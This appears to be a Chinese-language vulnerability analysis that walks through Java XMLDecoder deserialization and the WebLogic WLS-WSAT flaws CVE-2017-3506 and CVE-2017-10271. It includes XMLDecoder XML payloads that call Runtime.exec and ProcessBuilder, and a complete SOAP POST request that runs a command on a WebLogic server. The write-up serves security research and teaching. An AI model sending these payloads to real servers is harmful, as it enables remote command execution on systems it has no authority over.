1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 protected boolean scanStartElement () throws IOException, XNIException { if (fSkip && !fAdd){ ...... } if (!fSkip || fAdd){ fElementQName = fElementStack.nextElement(); if (fNamespaces) { fEntityScanner.scanQName(fElementQName); } else { String name = fEntityScanner.scanName(); fElementQName.setValues(null , name, name, null ); } ...... } if (fAdd){......} fCurrentElement = fElementQName; String rawname = fElementQName.rawname; fEmptyElement = false ; fAttributes.removeAllAttributes(); checkDepth(rawname); if (!seekCloseOfStartTag()){ fReadingAttributes = true ; fAttributeCacheUsedCount =0 ; fStringBufferIndex =0 ; fAddDefaultAttr = true ; do { scanAttribute(fAttributes); if (fSecurityManager != null && !fSecurityManager.isNoLimit(fElementAttributeLimit) && fAttributes.getLength() > fElementAttributeLimit){ fErrorReporter.reportError(XMLMessageFormatter.XML_DOMAIN, "ElementAttributeLimit" , new Object []{rawname, fElementAttributeLimit }, XMLErrorReporter.SEVERITY_FATAL_ERROR ); } } while (!seekCloseOfStartTag()); fReadingAttributes=false ; } if (fEmptyElement) { ...... } else { if (dtdGrammarUtil != null ) dtdGrammarUtil.startElement(fElementQName, fAttributes); if (fDocumentHandler != null ){ fDocumentHandler.startElement(fElementQName, fAttributes, null ); } } ...... }
跳过几个重载的来到DocumentHandler#startElement()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void startElement (String uri, String localName, String qName, Attributes attributes) throws SAXException { ElementHandler parent = this .handler; try { this .handler = getElementHandler(qName).newInstance(); this .handler.setOwner(this ); this .handler.setParent(parent); } catch (Exception exception) { throw new SAXException (exception); } for (int i = 0 ; i < attributes.getLength(); i++) try { String name = attributes.getQName(i); String value = attributes.getValue(i); this .handler.addAttribute(name, value); } catch (RuntimeException exception) { handleException(exception); } this .handler.startElement(); }
当前处理的是,所以现在要实例化一个处理java标签的处理器,JavaElementHandler
。然后设置这个handler的所有者和父级。
接着遍历元素的属性并调用 this.handler.addAttribute(name, value);
将属性添加到当前的 ElementHandler
实例。
1 2 3 4 5 6 7 8 9 10 public void addAttribute (String name, String value) { if (name.equals("version" )) { } else if (name.equals("class" )) { this .type = getOwner().findClass(value); } else { super .addAttribute(name, value); } }
然后回到DocumentHandler#startElement()
方法,还有最后一句代码this.handler.startElement();
需要执行。调用JavaElementHandler#startElement()
。JavaElementHandler
没有这个方法,父类该方法也为空。那就不管
处理完java标签后,我们的下一个标签 也是类似的过程。来到该方法后。
实例化ObjectElementHandler
处理器。然后获取属性和值用ObjectElementHandler#addAttribute
方法添加。不过这里处理器中没有对应的属性可以设置,所以调用父类的方法NewElementHandler#addAttribute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public final void addAttribute (String name, String value) { if (name.equals("idref" )) { this .idref = value; } else if (name.equals("field" )) { this .field = value; } else if (name.equals("index" )) { this .index = Integer.valueOf(value); addArgument(this .index); } else if (name.equals("property" )) { this .property = value; } else if (name.equals("method" )) { this .method = value; } else { super .addAttribute(name, value); } }public void addAttribute (String name, String value) { if (name.equals("class" )) { this .type = getOwner().findClass(value); } else { super .addAttribute(name, value); } }
然后回到DocumentHandler#startElement()
去执行最后一句代码,调用了ObjectElementHandler.startElement()
,由于field
与idref
都是null,不会进入if语句调用getValueObject()
方法。
1 2 3 4 5 public final void startElement () { if ((this .field != null ) || (this .idref != null )) { getValueObject(); } }
接着下一个标签,VoidElementHandler
由于没有addAttribute
方法,调用父类的addAttribute
方法,即ObjectElementHandler#addAttribute
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public final void addAttribute (String name, String value) { if (name.equals("idref" )) { this .idref = value; } else if (name.equals("field" )) { this .field = value; } else if (name.equals("index" )) { this .index = Integer.valueOf(value); addArgument(this .index); } else if (name.equals("property" )) { this .property = value; } else if (name.equals("method" )) { this .method = value; } else { super .addAttribute(name, value); } }
处理器的startElement方法同理,调用父类的ObjectElementHandler.startElement()
,不过依然判断为false不执行任何操作。
然后是example 标签。由于不是属性-值这种。直接调用处理器startElement方法。与上面同理由于没有改方法调用父类的ElementHandler.startElement()
,方法为空啥也没干。
由于example 该标签有开始标签,还有结束标签 ,所以下一次在XMLDocumentFragmentScannerImpl#next()中,会走进这一个case代码块,会扫描结束标签。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 case SCANNER_STATE_END_ELEMENT_TAG :{ if (fEmptyElement){ fEmptyElement = false ; setScannerState(SCANNER_STATE_CONTENT); return (fMarkupDepth == 0 && elementDepthIsZeroHook() ) ? XMLEvent.END_ELEMENT : XMLEvent.END_ELEMENT ; } else if (scanEndElement() == 0 ) { if (elementDepthIsZeroHook()) { return XMLEvent.END_ELEMENT ; } } setScannerState(SCANNER_STATE_CONTENT); return XMLEvent.END_ELEMENT ; }
通过scanEndElement()方法会一直调用到DocumentHandler#endElement方法。
1 2 3 4 5 6 7 8 9 10 11 public void endElement (String uri, String localName, String qName) { try { this .handler.endElement(); } catch (RuntimeException exception) { handleException(exception); } finally { this .handler = this .handler.getParent(); } }
这里会去调用StringElementHandler
的startElement()
方法,由于没有所以调到父类ElementHandler#startElement()
方法。
首先通过getValueObject
方法获取当前元素的值对象。该对象的value
属性等于我们开始和结束标签之间的值,即example 中间的值example。然后会取出这个value
值,作为参数传给 this.parent.addArgument
方法,也就是上一个标签VoidElementHandler
的addArgument
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public void endElement () { ValueObject value = getValueObject(); if (!value.isVoid()) { if (this .id != null ) { this .owner.setVariable(this .id, value.getValue()); } if (isArgument()) { if (this .parent != null ) { this .parent.addArgument(value.getValue()); } else { this .owner.addObject(value.getValue()); } } } }
最后把值放到arguments这个ArrayList里面。
接着,要处理的标签是,所以和上面流程类似,处理器是VoidElementHandler,调用的是父类的父类的父类ElementHandler#endElement方法,然后调用到父类的父类NewElementHandler#getValueObject方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 protected final ValueObject getValueObject () { if (this .arguments != null ) { try { this .value = getValueObject(this .type, this .arguments.toArray()); } catch (Exception exception) { getOwner().handleException(exception); } finally { this .arguments = null ; } } return this .value; }protected final ValueObject getValueObject (Class<?> type, Object[] args) throws Exception { if (this .field != null ) { return ValueObjectImpl.create(FieldElementHandler.getFieldValue(getContextBean(), this .field)); } if (this .idref != null ) { return ValueObjectImpl.create(getVariable(this .idref)); } Object bean = getContextBean(); String name; if (this .index != null ) { name = (args.length == 2 ) ? PropertyElementHandler.SETTER : PropertyElementHandler.GETTER; } else if (this .property != null ) { name = (args.length == 1 ) ? PropertyElementHandler.SETTER : PropertyElementHandler.GETTER; if (0 < this .property.length()) { name += this .property.substring(0 , 1 ).toUpperCase(ENGLISH) + this .property.substring(1 ); } } else { name = (this .method != null ) && (0 < this .method.length()) ? this .method : "new" ; } Expression expression = new Expression (bean, name, args); return ValueObjectImpl.create(expression.getValue()); }
创建一个 Expression
对象,传入上下文 bean、方法名和参数,然后调用 expression.getValue()
获取结果,并用 ValueObjectImpl.create
包装成 ValueObject
返回。这里就是把我们解析出来的类、属性、值一起包装到一个类中。
然后在Expression#getValue()
方法,里面会执行对应的方法,首先执行的对应类的无参构造函数,第二次执行的才是setName
方法。一直到MethodUtil#invoke
方法里面。
攻击Demo 给出两种常见攻击demo。如果反序列化的xml文件是如下代码,就会触发命令执行。触发原理和上面流程差不多,也是在相同的地方反射调用方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <void method ="getRuntime" class ="java.lang.Runtime" > <void method ="exec" > <string > calc</string > </void > </void > </java > <?xml version="1.0" encoding="UTF-8" ?> <java version ="1.8.0_65" class ="java.beans.XMLDecoder" > <void class ="java.lang.ProcessBuilder" > <array class ="java.lang.String" length ="1" > <void index ="0" > <string > Calc</string > </void > </array > <void method ="start" /> </void > </java >
CVE-2017-3506&CVE-2017-10271 漏洞原因 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
CVE-2017-3506和CVE-2017-10271原理是一样的,只是CVE-2017-3506的修复补丁是禁用object标签,所以随后出现了CVE-2017-10271。不使用object标签的payload即可。
漏洞环境 参考上面T3反序列化的环境。
影响版本 存在 WLS-WebServices 的组件的Weblogic版本。
漏洞payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.147.131:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 589<soapenv:Envelope xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" > <soapenv:Header > <work:WorkContext xmlns:work ="http://bea.com/2004/06/soap/workarea/" > <java version ="1.4.0" class ="java.beans.XMLDecoder" > <void method ="getRuntime" class ="java.lang.Runtime" > <void method ="exec" > <string > touch /tmp/CVE-2017-10271</string > </void > </void > </java > </work:WorkContext > </soapenv:Header > <soapenv:Body /> </soapenv:Envelope >
漏洞分析 我们从WLSServletAdapter#handle
方法开始调试,在此之前是一些服务器对请求预处理,安全性检查之类的操作。这里会判断我们的请求方法,如何是GET型或者HEAD型,就会进去if语句进行处理。我们发送的请求包是POST类型,所以进入super.handle(var1, var2, var3);
一直到HttpAdapter#handle
,这里又会判断请求类型,然后因为判断不通过跳到tk.handle(connection);
,这是一个内部类方法HttpAdapter$HttpToolkit#handle
。
这里我们可以大致分成两个部分,首先是解码入站消息,将结果存储在 packet
对象中。然后是调用 this.head.process
方法处理packet
中的消息,并且将结果存储回 packet
中。
我们先跟第一部分,解码入站信息。跟进到HttpAdapter#decodePacket
,这个方法作用是解码 HTTP 请求并生成一个包含请求信息的 Packet
对象。
主要是这一行代码InputStream in = con.getInput();
,我们发送的POST数据包就在in中。
跟到codec.decode(in, ct, packet);
进入SOAPBindingCodec#decode
中。
进入StreamSOAPCodec#decode
方法,从中进入重载的decode方法。
packet.setMessage(this.decode(reader, att));
中的重载decode
方法主要是解析 SOAP 消息的 XML 内容,并将其封装到 Message
对象。然后用packet
的setMessage
方法将这个封装后的Message
对象赋值给packet
,然后返回这个packet
对象。
回到HttpAdapter#handle
方法中,接着我们看一下处理入站消息的部分。跟进packet = this.head.process(packet, con.getWebServiceContextDelegate(), packet.transportBackChannel);
,即来到WSEndpointImpl$2#process中(WSEndpointImpl$2
是WSEndpointImpl
类中的第二个匿名类),前面是对request
的属性赋值。主要关注对request
处理的地方,即request
作为参数的地方,因为我们的payload
在里面。所以我们可以关注到fiber.runSync(this.tube, request);
把带有payload
的request
入站请求赋值给当前Fiber
的packet
属性,在调用当前Fiber
的doRun
方法后就返回这个packet
属性。我们跟一下doRun
方法。
从doRun
方法经过_doRun
和__doRun
之后,在__doRun
经过几次循环调用readHeaderOld
方法来到WorkContextTube#readHeaderOld
。
这个方法会从头部列表中获取特定头部 WorkAreaConstants.WORK_AREA_HEADER
。如果头部不为 null
,调用 readHeaderOld
方法处理,并设置 isUseOldFormat
标志为 true
。跟进readHeaderOld方法中。
首先使用 XMLStreamReader
对象读取头部的 XML 内容,并跳过初始的两个标签,以便进入实际数据部分。接着,创建一个 XMLStreamReaderToXMLStreamWriter
对象,将读取到的 XML 内容桥接到一个 XMLStreamWriter
,并将输出写入到 ByteArrayOutputStream
中,生成一个字节流。然后,方法通过 ByteArrayInputStream
将字节流转换为输入流,并创建一个 WorkContextXmlInputAdapter
适配器对象。最后,通过调用 this.receive(var6)
方法将适配器传递给接收方法进行处理。
此时var4获取的就是我们构造的xmlpayload
var6是一个WorkContextXmlInputAdapter
对象,该对象初始化会new一个XMLDecoder,并且给xmlDecoder的初始化参数是var4的字节数组流。
这么一个要处理恶意payloaf字节流的XMLDecoder,只要调用了readObject方法,就会触发XMLDecoder反序列化漏洞。
我们继续跟进WorkContextServerTube#receive,使用 WorkContextEntryImpl
类的静态方法 readEntry
来读取并解析传入的 var1
对象。
从一个数据输入流中读取一个 UTF-8 编码的字符串,并将其赋值给变量 var1
进入该方法后,就会看到这里调用了xmlDecoder的readObject方法。漏洞由此而来。
参考 CVE-2015-4852 WebLogic T3 反序列化分析 | Drunkbaby’s Blog (drun1baby.top)
Weblogic T3协议反序列化漏洞分析(上)
Weblogic安全漫谈(一)